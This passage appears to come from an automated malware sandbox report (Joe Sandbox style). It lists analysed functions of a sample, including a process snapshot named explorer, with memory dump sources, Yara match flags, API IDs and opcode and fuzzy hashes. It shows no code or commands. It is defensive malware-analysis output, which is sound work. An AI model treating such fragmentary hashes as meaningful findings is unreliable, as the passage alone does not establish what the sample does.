                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: d981d276683500439fe255ece07c6d20aa2690fecfcea96cff91bf552de1cfa0
                                                                                                                                                                                                                                                              • Instruction ID: 3633c018a72ca79d4529c97612e269c1777ec5e0681885f5699e0412e8757fe0
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: d981d276683500439fe255ece07c6d20aa2690fecfcea96cff91bf552de1cfa0
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 06F0E9537055848ACA50AE2FECA01FC6352BF46BE470C0235EF1D0B745DF60C8A38304
                                                                                                                                                                                                                                                              Function 006D0BBC Relevance: 5.0, APIs: 4, Instructions: 34COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: fffe1feea4d5eb521afbbdfec112adb7fa227329f3f82f7615eed68f37e3b42c
                                                                                                                                                                                                                                                              • Instruction ID: 74d9c95535b7b198a96afbc087285e0c968ecb6257f80138492ca9d185227b92
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: fffe1feea4d5eb521afbbdfec112adb7fa227329f3f82f7615eed68f37e3b42c
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 20F08953B1188489D711AE2BDC612A853629B95FD5B1D4366EF2D4B355DE34C8828304

                                                                                                                                                                                                                                                              Non-executed Functions

                                                                                                                                                                                                                                                              Function 00000001402D82A0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000001F.00000002.2843117784.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000001F.00000002.2843096532.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000001F.00000002.2843315351.00000001402DD000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000001F.00000002.2843407076.000000014040B000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000001F.00000002.2843407076.000000014042C000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000001F.00000002.2843407076.000000014042E000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000001F.00000002.2843407076.00000001406B6000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000001F.00000002.2843407076.0000000140738000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000001F.00000002.2843770499.0000000140739000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000001F.00000002.2843840531.000000014075E000.00000020.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000001F.00000002.2843875405.0000000140764000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_31_2_140000000_explorer.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 2933794660-0
                                                                                                                                                                                                                                                              • Opcode ID: 40e2a232fc295a5026443da29b24fa9c722a4f82c9d20809496c69369bb5da58
                                                                                                                                                                                                                                                              • Instruction ID: 21d2bc6bb35d802d5d5cc750b7b1863eea689a07cd70b94b43f5df2df9f0d793
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 40e2a232fc295a5026443da29b24fa9c722a4f82c9d20809496c69369bb5da58
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: FA112732750F058AEB01CF61E8583A833A4FB5DB68F441E25EF6D867A4DB78C5558340